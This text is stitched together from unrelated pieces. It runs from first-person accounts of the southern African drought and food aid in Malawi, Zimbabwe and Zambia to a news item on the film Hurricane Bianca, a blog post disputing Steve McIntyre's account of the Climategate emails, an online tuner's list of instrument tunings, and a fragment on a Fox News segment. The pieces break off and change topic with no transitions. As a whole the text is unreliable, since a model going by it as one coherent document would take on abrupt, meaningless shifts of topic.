When we came here in 2000, we had no infrastructure, and we had to build our houses. We have learned to focus on growing small grains such as sorghum and millet rather than maize, because we cannot be sure of the changing climate. What we have learned is that if you go for monocultures, you are vulnerable to disaster. Diversity is a weapon to protect farmers and provide food.
Zimbabwe has declared a food disaster and appealed for $1.5bn (£1.2bn) to feed 4 million people. With good ecological practice, this could have been mostly averted. The areas that diversified the most this year have survived the best. But the government is still obsessed with the conventional agriculture model, and is influenced by the seed breeders and big chemical companies; they concentrate on maize and tobacco and hybrid seeds.
The hunger in southern Africa this year goes back to the “green revolution” of the 1960s, when everyone was encouraged to grow food with chemicals. It wasn’t green at all. Maize became the only crop in southern Africa. But if you go deep into rural areas, you find people eating different foods.
What are the lessons of this drought? That we must avoid food miles, chemicals, genetically modified crops. Is it possible for our kind of agro-ecological farming to feed all of Zimbabwe? Yes. And the message is getting through.
Farmer Lucia Bello lives in the village of Aloufasi in Malawi; she is pictured above with some of her children and her sister’s orphans. She received food aid for the first time in November.
I am the head of a household of nine. I lost my husband 10 years ago and I have eight children to feed, including four orphans, my eldest sister’s children. I depend on farming, but there was a total crop failure this year.
I was given a 50kg sack of sorghum in November, enough for two and a half weeks; it was supposed to last a month. We eat just one meal a day. Last month I was so hungry, I had no option but to eat water lilies. I walked about six hours to the Mozambique border to find them. Ugh – they are really bitter. Children who cannot eat do not go to school. I’ve thought of putting salt in hot water, but they won’t drink it.
Facebook Twitter Pinterest Lucia Bello’s meal of nsima and vegetables, which she shares with eight family members
What is it like to be hungry? Your sight is affected. Your heart runs fast. Your stomach hurts, your head hurts. You are confused and it consumes you. When the food came, it was such a relief. Without it, we would all have died.
I have prepared my land to grow maize. It is all ready for the rains, but I have no seeds. Even if I can plant in December, it will be April before we have any food. Until then, we will need help.
Coco Ushiyama heads the World Food Programme in Malawi. We have lunch at her offices in Lilongwe.
The numbers who need food are rising fast. In November, 5.7 million Malawians needed food; in December, it has reached 6.2 million. By January, we will have 6.5 million hungry people, almost one in three people in this country, and it will last at least until March.
We are all on overdrive. I sleep at night, but there is just so much to do. We plan for the worst and hope for the best. We should have enough maize, but we do not have enough pulses, or vegetable oil, or vitamins and nutritious foods.
We are contracting ships; government money is being reallocated from other budgets. Meanwhile, there is talk of speculation, of traders waiting to make a killing. The prices might be stabilising, but they are still abnormally high. We are appealing for 15 more trucks and three helicopters; hopefully, we won’t need them.
Facebook Twitter Pinterest Ushiyama’s meal: a sandwich and fruit
Malawi has been very unlucky. Last year, we had massive floods; this year, it has been drought. Now the rains are coming and the roads will be damaged, which makes it harder to distribute food.
Is there enough money for this crisis? No – there are too many fires around the world that need extinguishing. The seven worst-hit countries in Africa are appealing for $2.9bn, but it’s not all there yet. The Chinese have sent 6,500 tonnes of rice; the US has given cash and food; more food has come from Zambia and Mexico.
This crisis is not about food production. Two years ago, Malawi was having bumper harvests, yet we were still doing handouts. You can have a surplus and still have pockets of hunger. It’s the same around the world. Of Malawi’s population of 17 million, 9 million are poor and have to spend 50%-70% of their income on food. Crop diversification is needed, but it takes time.
Carrington Mwanda buys and sells maize. We met him in his storeroom in Nsanje market, Malawi.
I sell 50kg sacks of maize for 14,000 kwacha (£15.50). The price has gone up a lot and I make a profit, but not much. Lots of other big buyers have stored food and they are waiting to sell but I don’t think the price will go much higher.
I have about 600 sacks. I bought them last month for 10,000 kwacha. Lots of people cannot afford to buy it but that is how the market works. If a hungry woman or a disabled person came to me and asked for food, I would give them one or two kilogrammes.
Food shortage like this is business for me. It is unpredictable. It’s 50:50 whether we make a profit. We can’t afford to let stock run out, so when we are down to 50 bags we will buy more.
David Gordon is one of Zambia’s biggest farmers. We meet for lunch on his estate, 40km from Lusaka.
I used to feed Zambia: I was the biggest maize grower in the country. We grew about 2,000 hectares of maize and yields were good. We could produce up to 16,000 tonnes a year. I own six farms, more than 29,000 hectares. We have 2,500 cattle and 2,500 game, and we grow 600 hectares of soya beans, tobacco, wheat and maize for the animals.
The government says there is enough maize for everyone, but people don’t have enough to eat. The food situation is quite desperate in some places. The lean period has been much longer this year, and the climate shocks are more regular.
The problem is that 70% of people are smallholders. They grow maize with subsidies, but then the government pays them peanuts to buy it. Who makes the Zambian smallholder the poorest farmer in the world? The Zambian government.
I just cannot compete with the small guys who pay one quarter of what we do for fertiliser. We commercial farmers get no subsidies. Small farmers are given subsidies for fertiliser and the government buys their maize, but if the subsidy system was reformed, Zambia could grow food for the whole of Africa. It is big, well-watered and has good soils. There is a hell of a lot of potential. We could grow a million tonnes of maize, just like that.
Facebook Twitter Pinterest Gordon’s meal of salad ingredients
This country cannot subsidise farmers all the time. The guy working with a hoe and oxen is still struggling, and will stay struggling. Meanwhile, commercial farming production has gone down from 400,000 tonnes of maize a year to 30,000.
I have to make a big profit because I need big machines. I spent $500,000 on a combine harvester last year. It’s a John Deere, all computerised: precision farming. I employ 150 men and 80 women for between six and eight months of the year, mainly for packing and grading tobacco. The tobacco buyers are thugs and swindlers.
Genetically modified crops would be a disaster here. They would not produce more food, and they use so much herbicide that the roots burn. I am totally against Monsanto, which will hold farmers by the neck. You can’t put genetically modified trout genes into a cabbage. They are playing God and will destroy the world.
Farai Munyanyi is head of global seed and chemical company Bayer Crop Science in Zimbabwe. We have breakfast at a hotel in Harare. He is pictured with a full English breakfast.
We are a global crop science company [which has offered $65bn to buy out Monsanto], but we don’t profit from droughts like this. We lose money: crops fail and farmers buy fewer chemicals and seeds.
We argue that if people in southern Africa had used our technologies, this food crisis would have been reduced. All the indications are that climate change is here for real, so farmers need drought-tolerant, early-maturing, better seed varieties. They need to know the best time to plant, and how to deal with new pests. We show them that if they use our products on their vegetables, they can do 100% better. But the gap between big and small-scale farms here is very wide. The big ones get eight tonnes of maize per hectare; the small ones just 800kg. They need to change.
Kristof Nordin is a farmer and co-founder of Never Ending Food, an organisation that teaches local farmers about diversifying crops. We meet early evening at his house near Lilongwe, Malawi.
Look what we dug up today – a 21.8kg yam. This is meant to be a drought and the hungry season, but we are growing 200 different foods here – oranges, pineapples, tomatoes, blackjack, maize, sweet potatoes, cassava, millet, you name it. People are begging for food, but we can feed three families throughout the year on next to no land, and have enough left over to sell in the markets.
My wife Stacia is a nutritionist and I am a social worker. We have been in Malawi since 1997, when we came from the US to do HIV-prevention work with the US Peace Corps. We realised we couldn’t address a disease that attacks the immune system without addressing the fact that those immune systems were badly compromised by malnutrition.
There is absolutely no reason for these food crises. The problem is that everyone is focused on growing and eating maize. Malawi has spent 60 years trying to get this Central American food to grow in Africa, and there has been a deliberate stigmatisation of African food. Everything in the west is said to be best; everything from Africa bad.
Facebook Twitter Pinterest Nordin’s meal of home-grown fruit and veg
So we set up our organisation Never Ending Food, and we do internships. We try to show people how to get the most out of their resources, how they can save money and heal the soil. Malawi has a 12-month growing season, access to water and almost 600 local food crops. Yet Malawian farmers are growing only one crop: maize.
This is a tropical country. We should be sending food everywhere. Instead, the US and others are spending millions of dollars on “humanitarian” food aid. It is crazy.
Keith Domleo is agriculture manager of Illovo Sugar, Africa’s leading sugar producer. We met for coffee at the mill in Nchalo, Malawi.
We have 13,000 hectares of land but we contract more so we are now growing food on 18,200 hectares. We send sugar to Sainsbury’s, to Europe, to the US, all over.
We usually grow about 60 hectares of maize a year and donate it to orphanages. But this year the government asked us to grow 2,000 tonnes to help with food supplies. They undertook to supply us with seeds, chemicals and fertilisers.
We grew it on 450 hectares. The crop was good but they still haven’t paid us. We had an unhappy meeting with them so we won’t give them the maize until they give us the money. I am sure it will be resolved.
You can’t feed a country using smallholder farmers. You have to have large commercial farmers. We irrigate everything so we are protected. The small farmers get wiped out in a drought like this.
Felix Pensulo-Phiri is Malawi’s director of nutrition, HIV and Aids in the health ministry. We met for a morning coffee, in Lilongwe.
We are already seeing increases in the numbers of children with acute malnutrition, and as we approach January, February and March these numbers will double. Lives will be in danger.
[The crisis] will have an enormous long-term impact. Pregnant women won’t meet their dietary requirements. Malnutrition can compromise the development of children, affect their brain development. Almost 1 million under-five-year-olds are at risk of stunting, which cannot be reversed.
The social effects will be important, too. At times like this, there is lots of abuse of women. People become desperate. They want food. To access food, men may require women to sleep with them.
It affects school attendance, too. A family with no food will not send children to school. If they do go to school hungry, their performance will be compromised.
This crisis shows that we eat too much nsima – therefore we don’t meet our dietary needs.
If we go into irrigation, the country has the potential to feed itself – and other countries, too. The government could supply mechanised, irrigated farming. There are other good foods. Sweet potatoes are easy to store, cassava is drought-resistant, there are places to grow rice. We absolutely must diversify.
David Phiri is chief of the UN Food and Agriculture Organisation in southern Africa. We met for lunch at the Harare sports club, Zimbabwe.
This is a huge catastrophe. A great shock to the system. Hundreds of thousands of people are on the brink of famine. We may see deaths in some places from starvation. The cost of inaction or further delaying our response is too ghastly to contemplate.
We reckon 40 million people across the whole of southern Africa are affected. The worst places are Madagascar, the Democratic Republic of the Congo, Malawi and Zimbabwe, but there are other countries in trouble.
This is the strongest El Niño in 35 years. Smaller droughts in the 1950s resulted in many deaths. The situation could have been much worse, but the biggest risk is in Madagascar. It needs immediate action.
I think the total cost will be $2.9bn, but we are only about 40% funded. We expected more money to have been pledged by now but we understand donor budgets are limited.
Facebook Twitter Pinterest Phiri’s meal: sadza (Zimbabwe’s version of nsima) with vegetables and meat
Our fear is not a widespread famine, but hotspots of dire hunger. People have exhausted all their reserves now and their coping mechanisms. If food does not arrive, it will lead to serious issues, like childhood stunting, which have lifelong impacts. Even if people recover, they will be prone to cardiovascular diseases.
The relief effort could all go very wrong. I get scared that the rains will come and seeds will not have been distributed. Donors want to do things but it takes them months to act. People give money very close to the rainy season so we must pre-position the food before the money comes in.
Since winning the sixth season of RuPaul’s Drag Race, Bianca Del Rio has toured the country with her scathing “Rolodex of Hate” show, and was just named one of Variety magazine’s top ten comics to watch in 2015.
And now there’s good news for fans who have been anxiously awaiting Bianca’s next big project. Hurricane Bianca, the feature film starring the sharp-tongued comedy queen, has just wrapped shooting in Texas and is now headed into post-production.
The movie stars Del Rio as a teacher who is fired from a small town Texas high school after people discover he is gay. But things take a hilarious turn when he comes back to the school disguised as a mean woman in order to get revenge on the bigoted town.
“I really can’t tell you how my character gets his revenge, but give me forty bucks and I’ll get you a scratched DVD with behind-the-scenes footage, which is just me getting into drag,” joked Roy Haylock, the man behind the Bianca “clown mask.”
Fans of Drag Race will be delighted to know that the season 6 winner is not the only drag queen to make an appearance in the movie. Both Willam and Joslyn Fox are also set to co-star alongside Bianca when the film hits the big screen.
And our favorite drag queens aren’t the only big names involved in the project. Alan Cumming and Rachel Dratch both help round out the cast as well.
“When I read the script, I thought it was genuinely funny and the underlying message of acceptance is very timely,” said Dratch. “Also, anytime I get to hang out with drag queens, I’m there!”
We couldn’t agree more, Rachel.
Arguing from a cherrypicked selection of quotes from the “Climategate” emails, McIntyre has claimed that IPCC authors Chris Folland and Michael Mann pressured Briffa to submit a reconstruction that would not “dilute the message” by showing “inconsistency” with multi-proxy reconstructions from Mann and Briffa’s CRU colleague Phil Jones. Briffa “hastily re-calculated his reconstruction”, sending one with a supposedly larger post-1960 decline before. According to McIntyre, Mann resolved this new “conundrum” and simply “chopped off the inconvenient portion of the Briffa tree-ring data”.
But a review of the emails – including some that have never been quoted before – clearly contradicts McIntyre’s version of events:
Jones and Briffa were concerned that Mann had an outdated version of the Briffa reconstruction, and both urged the adoption of the newer “low frequency” one, more appropriate for comparison with other multi-century reconstructions.
Far from pressuring Briffa to change his reconstruction right away, Mann questioned whether an immediate change was required, or even possible, and counselled waiting for the next revision.
CRU colleague Tim Osborn advised Mann that he and Briffa “usually stopped” the “low frequency” reconstruction in 1960, and went one better in his later “resend” to Mann, by explicitly removing the post-1960 data.
I’ll also show how McIntyre has changed his narrative along the way , in an effort to prove that the true “context” of the famous “trick” to “hide the decline” is somehow an indictment of the IPCC. (Speaking of which, be sure to take the poll at the end about McIntyre’s next move). But first, once again, here is the cause of all the fuss, namely Figure 2-21 from Chapter 2 of the IPCC Third Assessment Report – Working Group I: The Scientific Basis (2001).
McIntyre has had a bee in his bonnet about this figure for a long time, as seen in a 2007 ClimateAusit post comparing Briffa and other IPCC authors to Martin Durkin of Great Global Warming Swindle fame.
The restoration of the excised Briffa data is shown in green. In my opinion, the difference between the appearance of the altered and unaltered data is “substantial”. The alteration of the data makes the proxy reconstructions appear far more uniform than they really were. Not only was there no “clear explanation” of the alteration of the data, but the citation was to a reference where the data had not been altered. Can you imagine the hysterics if Durkin had done this? … In IPCC, no questions are asked about the professionalism of the authors. Briffa was appointed lead author of the section in AR4.
Following the dissemination of the “Climategate” emails, though, McIntyre decided to shift his attack squarely onto lead authors Michael Mann and Chris Folland, while Briffa was portrayed as holding out, albeit briefly, against the “deletion” of post-1960 data in his reconstruction. McIntyre begins by announcing the true “context” of Phil Jones’s “hide the decline” email.
Much recent attention has been paid to the email about the “trick” and the effort to “hide the decline”. Climate scientists have complained that this email has been taken “out of context”. In this case, I’m not sure that it’s in their interests that this email be placed in context because the context leads right back to a meeting of IPCC authors in Tanzania, raising serious questions about the role of IPCC itself in “hiding the decline” in the Briffa reconstruction.
In fact, the email in question concerns Jones’s chart for a World Meterological Office report, but McIntyre was interested in tying this to the what he terms the IPCC’s “version” of the “trick”. McIntyre discussed the fallout from the first IPCC authors’ meeting in September 1999.
The emails show that the late 20th century decline in the Briffa reconstruction was perceived by IPCC as “diluting the message”, that “everyone in the room at IPCC” thought that the Briffa decline was a “problem” and a “potential distraction/detraction”, that this was then the “most important issue” in chapter 2 of the IPCC report and that there was “pressure” on Briffa and other authors to show a “nice tidy story” of “unprecedented warming in a thousand years or more”.
In support of this idea, McIntyre quoted the September 22, 1999 email from Chris Folland that kicked off the whole discussion:
But the current diagram with the tree ring only data somewhat contradicts the multiproxy curve and dilutes the message rather significantly… This is probably the most important issue to resolve in Chapter 2 at present. [Emphasis as added by McIntyre]
Soon after, I pointed out that that the main issue discussed was not the “decline”, but rather the lack of “low frequency” variation in the version of Briffa’s reconstruction used in the “zero-order” draft. I restored the missing passage from Folland’s email, thus demonstrating clearly the true situation. (In this and following excerpts, email passages omitted by McIntyre will be given in bold; the exchange between CRU scientists and Mann can be found here [May 24: Page numbers from the PDF of email exchanges have been added, along with archive email numbers. ]).
But the current diagram with the tree ring only data somewhat contradicts the multiproxy curve and dilutes the message rather significantly. We want the truth. Mike thinks it lies nearer his result (which seems in accord with what we know about worldwide mountain glaciers and, less clearly, suspect about solar variations). The tree ring results may still suffer from lack of multicentury time scale variance. This is probably the most important issue to resolve in Chapter 2 at present. [PDF p. 3, 938031546.txt]
After my post was brought to McIntyre’s attention, he shifted his story somewhat (resulting in a noticeable degree of incoherence).
Comments from readers have clarified that the issue at the Arusha meeting was that the Briffa reconstruction “diluted the message” more through its overall inconsistency as opposed to the decline, which was still relatively attenuated in the Arusha version. After the Arusha meeting, Briffa hastily re-calculated his reconstruction sending a new version to Mann on Oct 5, 1999 and it was this hastily re-done version that introduced the very severe decline that was hidden in the First Order Draft and Jones WMO Report.
In a subsequent comment, McIntyre referred to “a revised Briffa reconstruction that was bodged together and sent to Mann”, presumably in response to IPCC “pressure”. McIntyre also restored the missing quotes in the Folland email, but pretended this had nothing to do with the significant change he had been forced to make in the narrative.
McIntyre made much of Briffa’s response to Folland, which expresses some reservations about the draft text as written:
I know there is pressure to present a nice tidy story as regards ‘apparent unprecedented warming in a thousand years or more in the proxy data’ but in reality the situation is not quite so simple… [There are] some unexpected changes in response that do not match the recent warming. I do not think it wise that this issue be ignored in the chapter.
However, Briffa also referred to his latest work, another key passage omitted by McIntyre.
The multi proxy series (Mann et al . Jones et al) supposedly represent annual and summer seasons respectively, and both contain large proportions of tree-ring input. The latest tree-ring density curve ( i.e. our data that have been processed to retain low frequency information) shows more similarity to the other two series [i.e. Mann et al, 1999 and Jones et al, 1999 – 18/05/10]– as do a number of other lower resolution data (Bradley et al, Peck et al ., and new Crowley series – see our recent Science piece) whether this represents ‘TRUTH’ however is a difficult problem. [ PDF p. 4, 938031546.txt]
This is a broad hint that Briffa believed that some of Mann’s expressed reservations would be resolved by his updated “low frequency” reconstruction.
Mann replied that he was happy to include Briffa’s reconstruction. But he cautioned that any discrepancies needed to be explained (in an email only partially quoted by McIntyre – the bold section was omitted):
… [T]he major discrepancies between Phil’s and our series can be explained in terms of spatial sampling/latitudinal emphasis … [T]hat explanation certainly can’t rectify why Keith’s series, which has similar seasonality *and* latitudinal emphasis to Phil’s series, differs in large part in exactly the opposite direction that Phil’s does from ours. This is the problem we all picked up on (everyone in the room at IPCC was in agreement that this was a problem and a potential distraction/detraction from the reasonably concensus [sic]viewpoint we’d like to show w/ the Jones et al and Mann et al series. [ PDF p. 5, 938018124.txt]
Notice that this flatly contradicts McIntyre’s statement above that “everyone in the room at IPCC’ thought that the Briffa decline was a ” ‘problem’ and a ‘potential distraction/detraction’ “, a canard McIntyre half-heartedly corrected, but has repeated since, as I’ll show later.
At any rate, Briffa responded directly to this passage:
I am not sure this is true if the relevant series of ours is used. We need to reexamine the curves and perhaps look at the different regional and seasonal data in the instrumental record and over common regions in the different reconstructed series. We would be happy to work with you on this. Also remember that our (density )series does not claim hemispheric or annual coverage. [ PDF p. 11, 938125745.txt]
So yet again, Briffa suggested that his latest series would go some way to reconciling differences, as well as suggesting drilling down into the data for additional explanations.
Emails the next day make it even clearer that CRU scientists wanted to ensure that the new “low frequency” reconstruction be used, and that this was key to resolving inconsistencies. Here’s Phil Jones responding to Mann a day later, in an email that has never been quoted as far as I know.
One important aspect Keith will address is whether you’re using the latest Briffa et al curve. We know you’re not but the one with the greater low frequency and therefore much better chance of looking much better with the other two series, isn’t yet published. [PDF p. 8, 938121656.txt]
This can only be interpreted as a “heads up” that Mann should use a more up-to-date “low frequency” curve, one to be finalized soon and presumably published well before the IPCC deadline.
Mann responded:
1) I am definitely using the version of the Briffa et al series you sent in which Keith had restandardized to retain *more* low-frequency variability relative to the one shown by Briffa et al (1998). So already, the reconstruction I’m using is one-step removed from the published series (as far as I know!) and that makes our use of even this series a bit tenuous in my mind, but I’m happy to do it and let the reviewers tell us if they see any problem. If I understand you correctly, there is yet a new version of this series that is two steps removed from Briffa et al (1998)? Frankly, at this stage I think we have to go w/ what we have (please see Ian Macadam’s plot when it is available–I think the story it tells isn’t all that bad, actually) for the time being. Things as you say will change following review anyways. [ PDF p. 10, 938108842.txt]
Far from applying any pressure for a new version, Mann expresses doubt that such a version could be added in time to the imminent revision anyway and worries that it may be too far removed from the original reference.
But, like Jones before him, Briffa’s main concern appears to be that the most appropriate (as yet unpublished) “low frequency” curve be incorporated.
Also , I am not sure which version of the curve you are now refering to. The original draft did show our higher frequency curve i.e. the version with background changes effectively filtered out (intended to emphasise the extreme interannual density excursions and their coincidence with volcanic eruptions) . The relevant one here is a smoothed version in which low-frequency changes are preserved. I can supply this and it will be in press by the time of the next reworking of the text. [ PDF p. 5, 938018124.txt]
Thus, McIntyre’s contention that the “low frequency” reconstruction sent by Tim Osborne two weeks later was “hastily recalculated” under pressure from Folland and Mann can not be supported. Not only that, but Briffa explicitly stated (once again) that his latest work would overcome Mann’s reservations about inconsistency between the various reconstructions.
Be that as it may, McIntyre’s current narrative, as given in his March 2010 presentation at the University of Toronto’s Trinity College [PDF 2Mb], returned once again to emphasizing the “decline” as “diluting the message”. He also accused Mann of unilaterally removing the post-1960 data.
The Briffa reconstruction – with its late 20th century decline – was viewed by IPCC leadership as ‘diluting the message’ and being a potential ‘distraction/ detraction from the reasonably consensus viewpoint’ that they wanted to show. Briffa expressed reservations about the failure of the proxies to behave as expected and weakly urged that the issues not be ignored. …IPCC section author Mann resolved the conundrum. He chopped off the inconvenient portion of the Briffa tree ring data – the portion where it goes down – and tucked the end point under other data, giving a rhetorical impression of consistency.
But this too is not supported by the actual emails. Consider Tim Osborn’s email of October 5, where he sends Mann the latest “low frequency” reconstruction.
Dear Mike and Ian Keith has asked me to send you a timeseries for the IPCC multi-proxy reconstruction figure, to replace the one you currently have. The data are attached to this e-mail. They go from 1402 to 1995, although we usually stop the series in 1960 because of the recent non-temperature signal that is superimposed on the tree-ring data that we use. … It is not two-steps removed from Briffa et al. (1998), since the new series is simply a *replacement* for the one that you have been using, rather than being one-step further. [ PDF p. 15, 939154709.txt]
So Osborn is clearly suggesting that the series be stopped in 1960. Indeed, in reconstruction “spaghetti graphs” published both before and after the IPCC report, Briffa consistently stopped his low frequency MXD series in 1960, as can be seen in this chart published in Briffa & Osborne, Seeing the Wood for Trees, (1999, Science):
And, again, in Briffa et al, Low-frequency Temperature Variations from a Northern Tree Ring Density Network (2001, Journal of Geophysical Research):
Mann replied that it would be difficult to get the new reconstruction into the very first draft, but that it could come in later:
… I think it may be a bit too late (past the Oct 1 deadline) to make further revisions in the draft 1.0. It would be a bit of an imposition on Tom at this point given what he’s been through in finalizing the draft. However, I see no reason that we can’t make that revision when the paper comes back from expert review in a couple months. We’ll have the further advantage that the supporting manuscript you describe should be available at that point (a requirement in the IPCC peer-review process). I think we’ll all be looking forward to updating the plot w/ the latest series you describe… [ PDF p. 28, 939141116.txt]
And there the matter stood until February 28, 2000, when Mann wrote to Briffa to obtain the latest version, presumably for a major draft revision.
I need your newest northern hemisphere density-based tree-ring reconstruction and appropriate reference for updating IPCC. Please send in ASCII format as soon as possible so we can incorporate. I hope all is well. [ PDF p. 28, 951763817.txt]
Osborn responded on Briffa’s behalf:
Keith asked me to get back to you on this. The reconstruction is the same as the one I sent on the 5th October 1999, but I’m sending it again in case that e-mail isn’t handy. The reconstruction has now been published, in the following paper: Briffa K.R. (2000) Annual climate variability in the Holocene: interpreting the message of ancient trees. Quaternary Science Reviews 19, 87-105.
Osborn did send the same data, but with one important exception.
I’ve already truncated the series at 1960 because of the problems with the recent period. [ PDF p. 29, 951763817.txt]
So, once again, the accusation that it was IPCC lead author Mann who decided to “truncate the series at 1960” is clearly contradicted. Stopping the series at 1960 was the intention of the researchers all along, in conformity with their standard practice when comparing multi-centennial reconstructions in “spaghetti graphs”.
Many scientists have complained, with considerable justification, that a selection of emails plucked from context according to some undisclosed criteria, will inevitably give a misleading impression.
But the present review also demonstrates that many of the emails present in the “climategate” archive have been conveniently ignored in favour of a meagre selection of cherrypicked quotes marshalled to present a scenario diametrically opposed to the truth. To say the least, one should take the climate auditors’ version of “Climategate” with a huge grain of salt.
And with that, I ask readers to vote on what they think will happen next by considering possible answers to the inevitable question:
How will Steve McIntyre react to new evidence contradicting his current “trick” narrative concerning IPCC TAR Fig. 2-21?
I’ll be cutting off the poll on May 20, which happens to be two days after the Fourth International Climate Conference sponsored by the Heartland Institute. For the first time, Steve McIntyre and Ross McKitrick will both be in attendance, along with other luminaries featured in this blog, such as Alan Carlin and Chris de Freitas.
[Update, May 21: The poll has now closed. Judging from his recent presentation at the Heartland Institute sponsored International Climate Conference, it appears that Steve McIntyre has not changed his narrative and interpretation of the “climategate” emails of September 1999. Neither is there any indication, as far as I know, that McIntyre has responded to the facts presented above. Based on currently available information, then, McIntyre appears to have chosen option (b) and has ignored the evidence, at least so far. ]
Also, it does work both for electric guitar and acoustic guitar. If you are using a smartphone or tablet the guitar tuner app is best to use because the online tuner does not have smartphone support.
If you are using an acoustic guitar or any acoustic instrument the tuner will by default use the built-in microphone. However, if you want to tune an electric guitar or any plugged in instrument you have to adjust the input source. Click on the button "Show Instructions", right below the tuner to read more how to change this setting.
The online guitar tuner is fully chromatic but if you need a reference of a specific tuning and tune by ear read: Setup Instrument and Tuning
1. Mandolin tunings
The mandolin family consists of many variants with different constructions and tunings, thus the variatians is commonly used in a certain style. In American folk music and bluegrass music the Carved-top mandolins are the ones widely used and in British, Irish and Brazilian music the Flat-backed is more commonly seen. The mandolin types and tunings available in the app are:
1.1 Mandolin Soprano (Standard)
Standard | G 3 D 4 A 4 E 5
1.2 Mandolin Piccolo
Standard Piccolo | C 4 G 4 D 5 A 5
1.3 Mandola Alto
Standard Alto | C 3 G 3 D 4 A 4
1.4 Octave Mandolin, Tenor
Standard Tenor | G 2 D 3 A 3 E 4
1.5 Mandocello, Baritone
Standard Baritone | C 2 G 2 D 3 A 3
1.6 Mandobass
Standard Bass | E 1 A 1 D 2 G 2
Follow the steps in how to Setup Instrument and Tuning and select your preferred mandolin type.
2. Ukulele tuner
To tune your ukulele you find all the tunings by clicking on the white area with the text "Standard Tuning". Read the article covering, in more detail, how to setup the app when tuning the Ukulele or for a more general instruction, read section 9.
3. Guitar tunings
The online version of the ProGuitar Tuner includes a massive library of different guitar types and alternative tunings. Note that the tuner works for both electric and acoustic guitar. Read the last section of this page to see all tuning options available. The list of alternate tunings for guitar would be too long if we list all here. Therefore, only the available guitar types and the corresponding standard tuning is listed below:
3.1 Four-String Guitar
Tenor Standard | C 3 G 3 D 4 A 4
3.2 Five-String Guitar
Standard Tuning | E 2 A 2 D 3 G 3 B 3
3.3 Six-String Guitar
Standard Tuning | E 2 A 2 D 3 G 3 B 3 E 4
3.4 Seven-String Guitar
Standard 7-String | B 1 E 2 A 2 D 3 G 3 B 3 E 4
| B E A D G B E Standard 7-String Choro | C 2 E 2 A 2 D 3 G 3 B 3 E 4
3.5 Eight-String Guitar
Standard 8-string Electric Guitar | F♯ 1 B 1 E 2 A 2 D 3 G 3 B 3 E 4
| F♯ B E A D G B E Standard 8-string Classic Guitar | A 1 D 2 E 2 A 2 D 3 G 3 B 3 E 4
3.6 Nine-String Guitar
Standard 9-string Tuning | F♯ 1 B 1 E 2 A 2 D 3 G 3 B 3 E 4 A 4
3.7 Ten-String Guitar
Standard Tuning | F♯ 2 G♯ 2 A♯ 2 C 2 E 2 A 2 D 3 G 3 B 3 E 4
3.8 Eleven-String Guitar
11-string Alto Bolin | A♯ 1 C 2 D 2 D♯ 2 F 2 G 2 C 3 F 3 A 3 D 4 G 4
3.9 Tweleve-String Guitar (6 courses)
Standard 12-string Tuning | E 3 E 2 A 3 A 2 D 4 D 3 G 4 G 3 B 3 B 3 E 4 E 4
3.10 Thirteen-String Guitar
G.Bolin Alto 13-string | A 1 B 1 C 2 D 2 E 2 F 2 G 2 A 2 D 3 F 3 A 3 D 4 F 4
3.11 Alternative Guitar Tunings
Within the tuning application you will find a lot more variants for other non-standard guitar tunings than listed here.
4. Bass Guitar tunings
4.1 Four-string Bass
Standard Bass | E 1 A 1 D 2 G 2
| E A D G Drop D | D 1 A 1 D 2 G 2
4.2 Five-String Bass
Standard 5-string | B 0 E 1 A 1 D 2 G 2
4.3 Six-String Bass
Standard 6-string bass | B 0 E 1 A 1 D 2 G 2 C 3
5. Violin tunings
For a complete list of alternate violin tunings, open the tuning settings in the app. Read the last section to understand how to tune a violin using the tuner.
Standard | G 3 D 4 A 4 E 5
6. Viola tunings
Standard | C 3 G 3 D 4 A 4
7. Balalaika tunings
7.1 Balalaika Prima
Standard | E 4 E 4 A 4
| E E A Russian guitar tuning | G 3 B 3 D 4
| G B D Domra tuning | E 4 A 4 D 5
| E A D Folk tuning | D 4 F♯ 4 A 4
The online guitar tuner includes "all" Balalaika sizes but the most common size is the Balalaika Prima. For access to the complete list, see section 9.
8. Banjo tunings
There are many different banjo types and tunings. Therefore there are not one single standard. Below comes a list of all the banjo tunings in the app.
8.1 Four-string Banjo
8.1.1 General Banjo Tunings
Plectrum Tuning | C 3 G 3 B 3 D 4
| C G B D Chicago Tuning | D 3 G 3 B 3 E 4
| D G B E Tenor Jazz | C 3 G 3 D 4 A 4
| C G D A Irish Tenor | G 2 D 3 A 3 E 4
8.1.2 Major Open Tunings
Open G | D 3 G 3 D 4 G 4
| D G D G Open D | A 2 D 3 A 3 D 4
| A D A D Cello Banjo | C 2 G 2 D 3 A 3
| C G D A Bass Banjo all fourth | E 1 A 1 D 2 G 2
| E A D G Bass Banjo all fifths | C 1 G 1 D 2 A 2
8.2 Five-string Banjo
8.2.1 Major Open Tunings
Open G (Standard) | G 4 D 3 G 3 B 3 D 4
| G D G B D Open A | A 4 E 3 A 3 C♯ 4 E 4
| A E A C♯ E Open D | F♯ 4 D 3 F♯ 3 A 3 D 4
| F♯ D F♯ A D Open E (Longneck) | E 4 B 2 E 3 G♯ 3 B 3
8.2.2 Modal Tunings
Open G Modal | G 4 D 3 G 3 C 4 D 4
8.2.3 General Tunings
C Tuning | G 4 C 3 G 3 B 3 D 4
| G C G B D D Tuning | A 4 D 3 A 3 D 4 E 4
| A D A D E Double C Tuning | G 4 C 3 G 3 C 4 D 4
8.3 Six-string Banjo
Banjo Guitar | E 2 A 2 D 3 G 3 B 3 E 4
| E A D G B E Bluegrass | G 4 G 2 D 3 G 3 B 3 D 4
9. Setup Instrument and Tuning
9.1 Access tuning settings
Click on the area shown by the blue arrow and a window will open on top of the guitar tuner, see the image below.
9.2. Select instrument and tuning
Choose your preferred instrument, to move up and down in the list you click and drag.
After selecting an instrument, all the available tunings for that specific instrument will appear to the right. Choose the desired tuning by clicking on the area of a specific tuning. You should now hear a sequence played for each string and the fretboard will be updated with your desired tuning.
9.3 Tune by ear with audio samples
At any time you can click the strings on the fretboard to listen to a reference tone. One common way of tuning the guitar by ear is to tune the guitar to itself. If you are a beginner it can be a good practise to use a combination of a reference tone and a guitar tuner. One thing to notice is that the online guitar tuner does not show the actual octave. For that you need to download the smartphone app, which at the moment is of much higher quality than the online app.
9.4 Use the Guitar Tuner with the desktop's built-in microphone
To get the app to listen to your playing you will need to have flash installed and allow microphone access. See further instructions directly below the tuner by clicking the button "Show Instructions".
Megyn Kelly reported that the company would be closing operations after a union protest. She cited the union claim that the company has engaged in "Bain style tactics" and, in tossing the patently scripted softball to Dobbs (wearing his great, big American flag pin cuz he's such a great, big patriot), asked if the union was correct or whether it was "union demands." On cue, Dobbs started trashing the bakers union "who are taking no responsibility for their own economic fate" and "are wiping out the jobs single-handily by their act." He described it as "the height of irresponsibility."
